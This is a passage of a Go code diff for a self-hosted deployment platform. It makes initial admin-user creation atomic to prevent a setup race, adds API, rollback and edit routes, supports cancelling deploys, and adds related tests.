// Cascade Delete Tests.
|
||||||
|
|
||||||
//nolint:funlen // Test function with many assertions - acceptable for integration tests
|
|
||||||
func TestCascadeDelete(t *testing.T) {
|
func TestCascadeDelete(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -135,6 +135,61 @@ func FindUserByUsername(
|
|||||||
return user, nil
|
return user, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CreateFirstUser atomically checks that no users exist and inserts the admin user.
|
||||||
|
// Returns nil, nil if a user already exists (setup already completed).
|
||||||
|
func CreateFirstUser(
|
||||||
|
ctx context.Context,
|
||||||
|
db *database.Database,
|
||||||
|
username, passwordHash string,
|
||||||
|
) (*User, error) {
|
||||||
|
tx, err := db.BeginTx(ctx, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("beginning transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
// Check if any user exists within the transaction.
|
||||||
|
var count int
|
||||||
|
|
||||||
|
err = tx.QueryRowContext(ctx, "SELECT COUNT(*) FROM users").Scan(&count)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("checking user count: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if count > 0 {
|
||||||
|
return nil, nil //nolint:nilnil // nil,nil signals setup already completed
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := tx.ExecContext(ctx,
|
||||||
|
"INSERT INTO users (username, password_hash) VALUES (?, ?)",
|
||||||
|
username, passwordHash,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("inserting user: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = tx.Commit()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("committing transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
insertID, err := result.LastInsertId()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("getting last insert id: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
user := NewUser(db)
|
||||||
|
user.ID = insertID
|
||||||
|
|
||||||
|
err = user.Reload(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("reloading user: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return user, nil
|
||||||
|
}
|
||||||
|
|
||||||
// UserExists checks if any user exists in the database.
|
// UserExists checks if any user exists in the database.
|
||||||
func UserExists(ctx context.Context, db *database.Database) (bool, error) {
|
func UserExists(ctx context.Context, db *database.Database) (bool, error) {
|
||||||
var count int
|
var count int
|
||||||
|
|||||||
@@ -54,46 +54,71 @@ func (s *Server) SetupRoutes() {
|
|||||||
r.Group(func(r chi.Router) {
|
r.Group(func(r chi.Router) {
|
||||||
r.Use(s.mw.SessionAuth())
|
r.Use(s.mw.SessionAuth())
|
||||||
|
|
||||||
// Dashboard
|
// Dashboard
|
||||||
r.Get("/", s.handlers.HandleDashboard())
|
r.Get("/", s.handlers.HandleDashboard())
|
||||||
|
|
||||||
// Logout
|
// Logout
|
||||||
r.Post("/logout", s.handlers.HandleLogout())
|
r.Post("/logout", s.handlers.HandleLogout())
|
||||||
|
|
||||||
// App routes
|
// App routes
|
||||||
r.Get("/apps/new", s.handlers.HandleAppNew())
|
r.Get("/apps/new", s.handlers.HandleAppNew())
|
||||||
r.Post("/apps", s.handlers.HandleAppCreate())
|
r.Post("/apps", s.handlers.HandleAppCreate())
|
||||||
r.Get("/apps/{id}", s.handlers.HandleAppDetail())
|
r.Get("/apps/{id}", s.handlers.HandleAppDetail())
|
||||||
r.Get("/apps/{id}/edit", s.handlers.HandleAppEdit())
|
r.Get("/apps/{id}/edit", s.handlers.HandleAppEdit())
|
||||||
r.Post("/apps/{id}", s.handlers.HandleAppUpdate())
|
r.Post("/apps/{id}", s.handlers.HandleAppUpdate())
|
||||||
r.Post("/apps/{id}/delete", s.handlers.HandleAppDelete())
|
r.Post("/apps/{id}/delete", s.handlers.HandleAppDelete())
|
||||||
r.Post("/apps/{id}/deploy", s.handlers.HandleAppDeploy())
|
r.Post("/apps/{id}/deploy", s.handlers.HandleAppDeploy())
|
||||||
r.Get("/apps/{id}/deployments", s.handlers.HandleAppDeployments())
|
r.Post("/apps/{id}/deployments/cancel", s.handlers.HandleCancelDeploy())
|
||||||
r.Get("/apps/{id}/deployments/{deploymentID}/logs", s.handlers.HandleDeploymentLogsAPI())
|
r.Get("/apps/{id}/deployments", s.handlers.HandleAppDeployments())
|
||||||
r.Get("/apps/{id}/deployments/{deploymentID}/download", s.handlers.HandleDeploymentLogDownload())
|
r.Get("/apps/{id}/deployments/{deploymentID}/logs", s.handlers.HandleDeploymentLogsAPI())
|
||||||
r.Get("/apps/{id}/logs", s.handlers.HandleAppLogs())
|
r.Get("/apps/{id}/deployments/{deploymentID}/download", s.handlers.HandleDeploymentLogDownload())
|
||||||
r.Get("/apps/{id}/container-logs", s.handlers.HandleContainerLogsAPI())
|
r.Get("/apps/{id}/logs", s.handlers.HandleAppLogs())
|
||||||
r.Get("/apps/{id}/status", s.handlers.HandleAppStatusAPI())
|
r.Get("/apps/{id}/container-logs", s.handlers.HandleContainerLogsAPI())
|
||||||
r.Get("/apps/{id}/recent-deployments", s.handlers.HandleRecentDeploymentsAPI())
|
r.Get("/apps/{id}/status", s.handlers.HandleAppStatusAPI())
|
||||||
r.Post("/apps/{id}/restart", s.handlers.HandleAppRestart())
|
r.Get("/apps/{id}/recent-deployments", s.handlers.HandleRecentDeploymentsAPI())
|
||||||
r.Post("/apps/{id}/stop", s.handlers.HandleAppStop())
|
r.Post("/apps/{id}/rollback", s.handlers.HandleAppRollback())
|
||||||
r.Post("/apps/{id}/start", s.handlers.HandleAppStart())
|
r.Post("/apps/{id}/restart", s.handlers.HandleAppRestart())
|
||||||
|
r.Post("/apps/{id}/stop", s.handlers.HandleAppStop())
|
||||||
|
r.Post("/apps/{id}/start", s.handlers.HandleAppStart())
|
||||||
|
|
||||||
// Environment variables
|
// Environment variables
|
||||||
r.Post("/apps/{id}/env-vars", s.handlers.HandleEnvVarAdd())
|
r.Post("/apps/{id}/env-vars", s.handlers.HandleEnvVarAdd())
|
||||||
r.Post("/apps/{id}/env-vars/{varID}/delete", s.handlers.HandleEnvVarDelete())
|
r.Post("/apps/{id}/env-vars/{varID}/edit", s.handlers.HandleEnvVarEdit())
|
||||||
|
r.Post("/apps/{id}/env-vars/{varID}/delete", s.handlers.HandleEnvVarDelete())
|
||||||
|
|
||||||
// Labels
|
// Labels
|
||||||
r.Post("/apps/{id}/labels", s.handlers.HandleLabelAdd())
|
r.Post("/apps/{id}/labels", s.handlers.HandleLabelAdd())
|
||||||
r.Post("/apps/{id}/labels/{labelID}/delete", s.handlers.HandleLabelDelete())
|
r.Post("/apps/{id}/labels/{labelID}/edit", s.handlers.HandleLabelEdit())
|
||||||
|
r.Post("/apps/{id}/labels/{labelID}/delete", s.handlers.HandleLabelDelete())
|
||||||
|
|
||||||
// Volumes
|
// Volumes
|
||||||
r.Post("/apps/{id}/volumes", s.handlers.HandleVolumeAdd())
|
r.Post("/apps/{id}/volumes", s.handlers.HandleVolumeAdd())
|
||||||
r.Post("/apps/{id}/volumes/{volumeID}/delete", s.handlers.HandleVolumeDelete())
|
r.Post("/apps/{id}/volumes/{volumeID}/edit", s.handlers.HandleVolumeEdit())
|
||||||
|
r.Post("/apps/{id}/volumes/{volumeID}/delete", s.handlers.HandleVolumeDelete())
|
||||||
|
|
||||||
// Ports
|
// Ports
|
||||||
r.Post("/apps/{id}/ports", s.handlers.HandlePortAdd())
|
r.Post("/apps/{id}/ports", s.handlers.HandlePortAdd())
|
||||||
r.Post("/apps/{id}/ports/{portID}/delete", s.handlers.HandlePortDelete())
|
r.Post("/apps/{id}/ports/{portID}/delete", s.handlers.HandlePortDelete())
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
// API v1 routes (cookie-based session auth, no CSRF)
|
||||||
|
s.router.Route("/api/v1", func(r chi.Router) {
|
||||||
|
// Login endpoint is public (returns session cookie)
|
||||||
|
r.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleAPILoginPOST())
|
||||||
|
|
||||||
|
// All other API routes require session auth
|
||||||
|
r.Group(func(r chi.Router) {
|
||||||
|
r.Use(s.mw.APISessionAuth())
|
||||||
|
|
||||||
|
r.Get("/whoami", s.handlers.HandleAPIWhoAmI())
|
||||||
|
|
||||||
|
r.Get("/apps", s.handlers.HandleAPIListApps())
|
||||||
|
r.Post("/apps", s.handlers.HandleAPICreateApp())
|
||||||
|
r.Get("/apps/{id}", s.handlers.HandleAPIGetApp())
|
||||||
|
r.Delete("/apps/{id}", s.handlers.HandleAPIDeleteApp())
|
||||||
|
r.Post("/apps/{id}/deploy", s.handlers.HandleAPITriggerDeploy())
|
||||||
|
r.Get("/apps/{id}/deployments", s.handlers.HandleAPIListDeployments())
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ import (
|
|||||||
"log/slog"
|
"log/slog"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/gorilla/sessions"
|
"github.com/gorilla/sessions"
|
||||||
"go.uber.org/fx"
|
"go.uber.org/fx"
|
||||||
@@ -163,34 +162,27 @@ func (svc *Service) IsSetupRequired(ctx context.Context) (bool, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// CreateUser creates the initial admin user.
|
// CreateUser creates the initial admin user.
|
||||||
|
// It uses a DB transaction to atomically check that no users exist and insert
|
||||||
|
// the new admin user, preventing race conditions from concurrent setup requests.
|
||||||
func (svc *Service) CreateUser(
|
func (svc *Service) CreateUser(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
username, password string,
|
username, password string,
|
||||||
) (*models.User, error) {
|
) (*models.User, error) {
|
||||||
// Check if user already exists
|
// Hash password before starting transaction.
|
||||||
exists, err := models.UserExists(ctx, svc.db)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to check if user exists: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if exists {
|
|
||||||
return nil, ErrUserExists
|
|
||||||
}
|
|
||||||
|
|
||||||
// Hash password
|
|
||||||
hash, err := svc.HashPassword(password)
|
hash, err := svc.HashPassword(password)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("failed to hash password: %w", err)
|
return nil, fmt.Errorf("failed to hash password: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create user
|
// Use a transaction so the "no users exist" check and the insert are atomic.
|
||||||
user := models.NewUser(svc.db)
|
// SQLite serializes write transactions, so concurrent requests will block here.
|
||||||
user.Username = username
|
user, err := models.CreateFirstUser(ctx, svc.db, username, hash)
|
||||||
user.PasswordHash = hash
|
|
||||||
|
|
||||||
err = user.Save(ctx)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("failed to save user: %w", err)
|
return nil, fmt.Errorf("failed to create user: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if user == nil {
|
||||||
|
return nil, ErrUserExists
|
||||||
}
|
}
|
||||||
|
|
||||||
svc.log.Info("user created", "username", username)
|
svc.log.Info("user created", "username", username)
|
||||||
@@ -276,7 +268,7 @@ func (svc *Service) DestroySession(
|
|||||||
return fmt.Errorf("failed to get session: %w", err)
|
return fmt.Errorf("failed to get session: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
session.Options.MaxAge = -1 * int(time.Second)
|
session.Options.MaxAge = -1
|
||||||
|
|
||||||
saveErr := session.Save(request, respWriter)
|
saveErr := session.Save(request, respWriter)
|
||||||
if saveErr != nil {
|
if saveErr != nil {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package auth_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"fmt"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
@@ -70,71 +71,80 @@ func setupTestService(t *testing.T) (*auth.Service, func()) {
|
|||||||
return svc, cleanup
|
return svc, cleanup
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func setupAuthService(t *testing.T, debug bool) *auth.Service {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
tmpDir := t.TempDir()
|
||||||
|
|
||||||
|
globals.SetAppname("upaas-test")
|
||||||
|
globals.SetVersion("test")
|
||||||
|
|
||||||
|
globalsInst, err := globals.New(fx.Lifecycle(nil))
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
loggerInst, err := logger.New(
|
||||||
|
fx.Lifecycle(nil),
|
||||||
|
logger.Params{Globals: globalsInst},
|
||||||
|
)
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
cfg := &config.Config{
|
||||||
|
Port: 8080,
|
||||||
|
DataDir: tmpDir,
|
||||||
|
SessionSecret: "test-secret-key-at-least-32-chars",
|
||||||
|
Debug: debug,
|
||||||
|
}
|
||||||
|
|
||||||
|
dbInst, err := database.New(fx.Lifecycle(nil), database.Params{
|
||||||
|
Logger: loggerInst,
|
||||||
|
Config: cfg,
|
||||||
|
})
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
svc, err := auth.New(fx.Lifecycle(nil), auth.ServiceParams{
|
||||||
|
Logger: loggerInst,
|
||||||
|
Config: cfg,
|
||||||
|
Database: dbInst,
|
||||||
|
})
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
return svc
|
||||||
|
}
|
||||||
|
|
||||||
|
func getSessionCookie(t *testing.T, svc *auth.Service) *http.Cookie {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
_, err := svc.CreateUser(context.Background(), "admin", "password123")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
user, err := svc.Authenticate(context.Background(), "admin", "password123")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
request := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
|
||||||
|
err = svc.CreateSession(recorder, request, user)
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
for _, c := range recorder.Result().Cookies() {
|
||||||
|
if c.Name == "upaas_session" {
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func TestSessionCookieSecureFlag(testingT *testing.T) {
|
func TestSessionCookieSecureFlag(testingT *testing.T) {
|
||||||
testingT.Parallel()
|
testingT.Parallel()
|
||||||
|
|
||||||
testingT.Run("secure flag is true when debug is false", func(t *testing.T) {
|
testingT.Run("secure flag is true when debug is false", func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
tmpDir := t.TempDir()
|
svc := setupAuthService(t, false)
|
||||||
|
cookie := getSessionCookie(t, svc)
|
||||||
globals.SetAppname("upaas-test")
|
require.NotNil(t, cookie, "session cookie should exist")
|
||||||
globals.SetVersion("test")
|
assert.True(t, cookie.Secure, "session cookie should have Secure flag in production mode")
|
||||||
|
|
||||||
globalsInst, err := globals.New(fx.Lifecycle(nil))
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
loggerInst, err := logger.New(
|
|
||||||
fx.Lifecycle(nil),
|
|
||||||
logger.Params{Globals: globalsInst},
|
|
||||||
)
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
cfg := &config.Config{
|
|
||||||
Port: 8080,
|
|
||||||
DataDir: tmpDir,
|
|
||||||
SessionSecret: "test-secret-key-at-least-32-chars",
|
|
||||||
Debug: false,
|
|
||||||
}
|
|
||||||
|
|
||||||
dbInst, err := database.New(fx.Lifecycle(nil), database.Params{
|
|
||||||
Logger: loggerInst,
|
|
||||||
Config: cfg,
|
|
||||||
})
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
svc, err := auth.New(fx.Lifecycle(nil), auth.ServiceParams{
|
|
||||||
Logger: loggerInst,
|
|
||||||
Config: cfg,
|
|
||||||
Database: dbInst,
|
|
||||||
})
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
// Create user and session, check cookie has Secure flag
|
|
||||||
_, err = svc.CreateUser(context.Background(), "admin", "password123")
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
user, err := svc.Authenticate(context.Background(), "admin", "password123")
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
recorder := httptest.NewRecorder()
|
|
||||||
request := httptest.NewRequest(http.MethodGet, "/", nil)
|
|
||||||
|
|
||||||
err = svc.CreateSession(recorder, request, user)
|
|
||||||
require.NoError(t, err)
|
|
||||||
|
|
||||||
cookies := recorder.Result().Cookies()
|
|
||||||
require.NotEmpty(t, cookies)
|
|
||||||
|
|
||||||
var sessionCookie *http.Cookie
|
|
||||||
for _, c := range cookies {
|
|
||||||
if c.Name == "upaas_session" {
|
|
||||||
sessionCookie = c
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
require.NotNil(t, sessionCookie, "session cookie should exist")
|
|
||||||
assert.True(t, sessionCookie.Secure, "session cookie should have Secure flag in production mode")
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -270,6 +280,54 @@ func TestCreateUser(testingT *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestCreateUserRaceCondition(testingT *testing.T) {
|
||||||
|
testingT.Parallel()
|
||||||
|
|
||||||
|
testingT.Run("concurrent setup requests create only one user", func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc, cleanup := setupTestService(t)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
const goroutines = 10
|
||||||
|
|
||||||
|
results := make(chan error, goroutines)
|
||||||
|
start := make(chan struct{})
|
||||||
|
|
||||||
|
for i := range goroutines {
|
||||||
|
go func(idx int) {
|
||||||
|
<-start // Wait for all goroutines to be ready
|
||||||
|
|
||||||
|
_, err := svc.CreateUser(
|
||||||
|
context.Background(),
|
||||||
|
fmt.Sprintf("admin%d", idx),
|
||||||
|
"password123456",
|
||||||
|
)
|
||||||
|
results <- err
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Release all goroutines simultaneously
|
||||||
|
close(start)
|
||||||
|
|
||||||
|
var successes, failures int
|
||||||
|
|
||||||
|
for range goroutines {
|
||||||
|
err := <-results
|
||||||
|
if err == nil {
|
||||||
|
successes++
|
||||||
|
} else {
|
||||||
|
require.ErrorIs(t, err, auth.ErrUserExists)
|
||||||
|
|
||||||
|
failures++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
assert.Equal(t, 1, successes, "exactly one goroutine should succeed")
|
||||||
|
assert.Equal(t, goroutines-1, failures, "all other goroutines should fail with ErrUserExists")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
func TestAuthenticate(testingT *testing.T) {
|
func TestAuthenticate(testingT *testing.T) {
|
||||||
testingT.Parallel()
|
testingT.Parallel()
|
||||||
|
|
||||||
@@ -311,3 +369,38 @@ func TestAuthenticate(testingT *testing.T) {
|
|||||||
assert.ErrorIs(t, err, auth.ErrInvalidCredentials)
|
assert.ErrorIs(t, err, auth.ErrInvalidCredentials)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDestroySessionMaxAge(testingT *testing.T) {
|
||||||
|
testingT.Parallel()
|
||||||
|
|
||||||
|
testingT.Run("sets MaxAge to exactly -1", func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc, cleanup := setupTestService(t)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
request := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
|
||||||
|
err := svc.DestroySession(recorder, request)
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
// Check the Set-Cookie header to verify MaxAge is -1 (immediate expiry).
|
||||||
|
// With MaxAge = -1, the cookie should have Max-Age=0 in the HTTP header
|
||||||
|
// (per http.Cookie semantics: negative MaxAge means delete now).
|
||||||
|
cookies := recorder.Result().Cookies()
|
||||||
|
require.NotEmpty(t, cookies, "expected a Set-Cookie header")
|
||||||
|
|
||||||
|
found := false
|
||||||
|
|
||||||
|
for _, c := range cookies {
|
||||||
|
if c.MaxAge < 0 {
|
||||||
|
found = true
|
||||||
|
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
assert.True(t, found, "expected a cookie with negative MaxAge (deletion)")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"log/slog"
|
"log/slog"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -43,10 +44,14 @@ var (
|
|||||||
ErrContainerUnhealthy = errors.New("container unhealthy after 60 seconds")
|
ErrContainerUnhealthy = errors.New("container unhealthy after 60 seconds")
|
||||||
// ErrDeploymentInProgress indicates another deployment is already running.
|
// ErrDeploymentInProgress indicates another deployment is already running.
|
||||||
ErrDeploymentInProgress = errors.New("deployment already in progress for this app")
|
ErrDeploymentInProgress = errors.New("deployment already in progress for this app")
|
||||||
|
// ErrDeployCancelled indicates the deployment was cancelled by a newer deploy.
|
||||||
|
ErrDeployCancelled = errors.New("deployment cancelled by newer deploy")
|
||||||
// ErrBuildTimeout indicates the build phase exceeded the timeout.
|
// ErrBuildTimeout indicates the build phase exceeded the timeout.
|
||||||
ErrBuildTimeout = errors.New("build timeout exceeded")
|
ErrBuildTimeout = errors.New("build timeout exceeded")
|
||||||
// ErrDeployTimeout indicates the deploy phase exceeded the timeout.
|
// ErrDeployTimeout indicates the deploy phase exceeded the timeout.
|
||||||
ErrDeployTimeout = errors.New("deploy timeout exceeded")
|
ErrDeployTimeout = errors.New("deploy timeout exceeded")
|
||||||
|
// ErrNoPreviousImage indicates there is no previous image to rollback to.
|
||||||
|
ErrNoPreviousImage = errors.New("no previous image available for rollback")
|
||||||
)
|
)
|
||||||
|
|
||||||
// logFlushInterval is how often to flush buffered logs to the database.
|
// logFlushInterval is how often to flush buffered logs to the database.
|
||||||
@@ -78,6 +83,7 @@ type deploymentLogWriter struct {
|
|||||||
lineBuffer bytes.Buffer // buffer for incomplete lines
|
lineBuffer bytes.Buffer // buffer for incomplete lines
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
done chan struct{}
|
done chan struct{}
|
||||||
|
flushed sync.WaitGroup // waits for flush goroutine to finish
|
||||||
flushCtx context.Context //nolint:containedctx // needed for async flush goroutine
|
flushCtx context.Context //nolint:containedctx // needed for async flush goroutine
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -87,6 +93,8 @@ func newDeploymentLogWriter(ctx context.Context, deployment *models.Deployment)
|
|||||||
done: make(chan struct{}),
|
done: make(chan struct{}),
|
||||||
flushCtx: ctx,
|
flushCtx: ctx,
|
||||||
}
|
}
|
||||||
|
w.flushed.Add(1)
|
||||||
|
|
||||||
go w.runFlushLoop()
|
go w.runFlushLoop()
|
||||||
|
|
||||||
return w
|
return w
|
||||||
@@ -128,12 +136,15 @@ func (w *deploymentLogWriter) Write(p []byte) (int, error) {
|
|||||||
return len(p), nil
|
return len(p), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close stops the flush loop and performs a final flush.
|
// Close stops the flush loop, waits for the final flush to complete.
|
||||||
func (w *deploymentLogWriter) Close() {
|
func (w *deploymentLogWriter) Close() {
|
||||||
close(w.done)
|
close(w.done)
|
||||||
|
w.flushed.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *deploymentLogWriter) runFlushLoop() {
|
func (w *deploymentLogWriter) runFlushLoop() {
|
||||||
|
defer w.flushed.Done()
|
||||||
|
|
||||||
ticker := time.NewTicker(logFlushInterval)
|
ticker := time.NewTicker(logFlushInterval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
@@ -199,15 +210,22 @@ type ServiceParams struct {
|
|||||||
Notify *notify.Service
|
Notify *notify.Service
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// activeDeploy tracks a running deployment so it can be cancelled.
|
||||||
|
type activeDeploy struct {
|
||||||
|
cancel context.CancelFunc
|
||||||
|
done chan struct{}
|
||||||
|
}
|
||||||
|
|
||||||
// Service provides deployment functionality.
|
// Service provides deployment functionality.
|
||||||
type Service struct {
|
type Service struct {
|
||||||
log *slog.Logger
|
log *slog.Logger
|
||||||
db *database.Database
|
db *database.Database
|
||||||
docker *docker.Client
|
docker *docker.Client
|
||||||
notify *notify.Service
|
notify *notify.Service
|
||||||
config *config.Config
|
config *config.Config
|
||||||
params *ServiceParams
|
params *ServiceParams
|
||||||
appLocks sync.Map // map[string]*sync.Mutex - per-app deployment locks
|
activeDeploys sync.Map // map[string]*activeDeploy - per-app active deployment tracking
|
||||||
|
appLocks sync.Map // map[string]*sync.Mutex - per-app deployment locks
|
||||||
}
|
}
|
||||||
|
|
||||||
// New creates a new deploy Service.
|
// New creates a new deploy Service.
|
||||||
@@ -268,12 +286,39 @@ func (svc *Service) GetLogFilePath(app *models.App, deployment *models.Deploymen
|
|||||||
return filepath.Join(svc.config.DataDir, "logs", hostname, app.Name, filename)
|
return filepath.Join(svc.config.DataDir, "logs", hostname, app.Name, filename)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Deploy deploys an app.
|
// HasActiveDeploy returns true if there is an active deployment for the given app.
|
||||||
|
func (svc *Service) HasActiveDeploy(appID string) bool {
|
||||||
|
_, ok := svc.activeDeploys.Load(appID)
|
||||||
|
|
||||||
|
return ok
|
||||||
|
}
|
||||||
|
|
||||||
|
// CancelDeploy cancels any in-progress deployment for the given app
|
||||||
|
// and waits for it to finish before returning. Returns true if a deployment
|
||||||
|
// was cancelled, false if there was nothing to cancel.
|
||||||
|
func (svc *Service) CancelDeploy(appID string) bool {
|
||||||
|
if !svc.HasActiveDeploy(appID) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
svc.cancelActiveDeploy(appID)
|
||||||
|
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// Deploy deploys an app. If cancelExisting is true (e.g. webhook-triggered),
|
||||||
|
// any in-progress deploy for the same app will be cancelled before starting.
|
||||||
|
// If cancelExisting is false and a deploy is in progress, ErrDeploymentInProgress is returned.
|
||||||
func (svc *Service) Deploy(
|
func (svc *Service) Deploy(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
app *models.App,
|
app *models.App,
|
||||||
webhookEventID *int64,
|
webhookEventID *int64,
|
||||||
|
cancelExisting bool,
|
||||||
) error {
|
) error {
|
||||||
|
if cancelExisting {
|
||||||
|
svc.cancelActiveDeploy(app.ID)
|
||||||
|
}
|
||||||
|
|
||||||
// Try to acquire per-app deployment lock
|
// Try to acquire per-app deployment lock
|
||||||
if !svc.tryLockApp(app.ID) {
|
if !svc.tryLockApp(app.ID) {
|
||||||
svc.log.Warn("deployment already in progress", "app", app.Name)
|
svc.log.Warn("deployment already in progress", "app", app.Name)
|
||||||
@@ -282,45 +327,186 @@ func (svc *Service) Deploy(
|
|||||||
}
|
}
|
||||||
defer svc.unlockApp(app.ID)
|
defer svc.unlockApp(app.ID)
|
||||||
|
|
||||||
|
// Set up cancellable context and register as active deploy
|
||||||
|
deployCtx, cancel := context.WithCancel(ctx)
|
||||||
|
done := make(chan struct{})
|
||||||
|
ad := &activeDeploy{cancel: cancel, done: done}
|
||||||
|
svc.activeDeploys.Store(app.ID, ad)
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
cancel()
|
||||||
|
close(done)
|
||||||
|
svc.activeDeploys.Delete(app.ID)
|
||||||
|
}()
|
||||||
|
|
||||||
// Fetch webhook event and create deployment record
|
// Fetch webhook event and create deployment record
|
||||||
webhookEvent := svc.fetchWebhookEvent(ctx, webhookEventID)
|
webhookEvent := svc.fetchWebhookEvent(deployCtx, webhookEventID)
|
||||||
|
|
||||||
deployment, err := svc.createDeploymentRecord(ctx, app, webhookEventID, webhookEvent)
|
// Use a background context for DB operations that must complete regardless of cancellation
|
||||||
|
bgCtx := context.WithoutCancel(deployCtx)
|
||||||
|
|
||||||
|
deployment, err := svc.createDeploymentRecord(bgCtx, app, webhookEventID, webhookEvent)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
svc.logWebhookPayload(ctx, deployment, webhookEvent)
|
svc.logWebhookPayload(bgCtx, deployment, webhookEvent)
|
||||||
|
|
||||||
err = svc.updateAppStatusBuilding(ctx, app)
|
err = svc.updateAppStatusBuilding(bgCtx, app)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
svc.notify.NotifyBuildStart(ctx, app, deployment)
|
svc.notify.NotifyBuildStart(bgCtx, app, deployment)
|
||||||
|
|
||||||
|
return svc.runBuildAndDeploy(deployCtx, bgCtx, app, deployment)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rollback rolls back an app to its previous image.
|
||||||
|
// It stops the current container, starts a new one with the previous image,
|
||||||
|
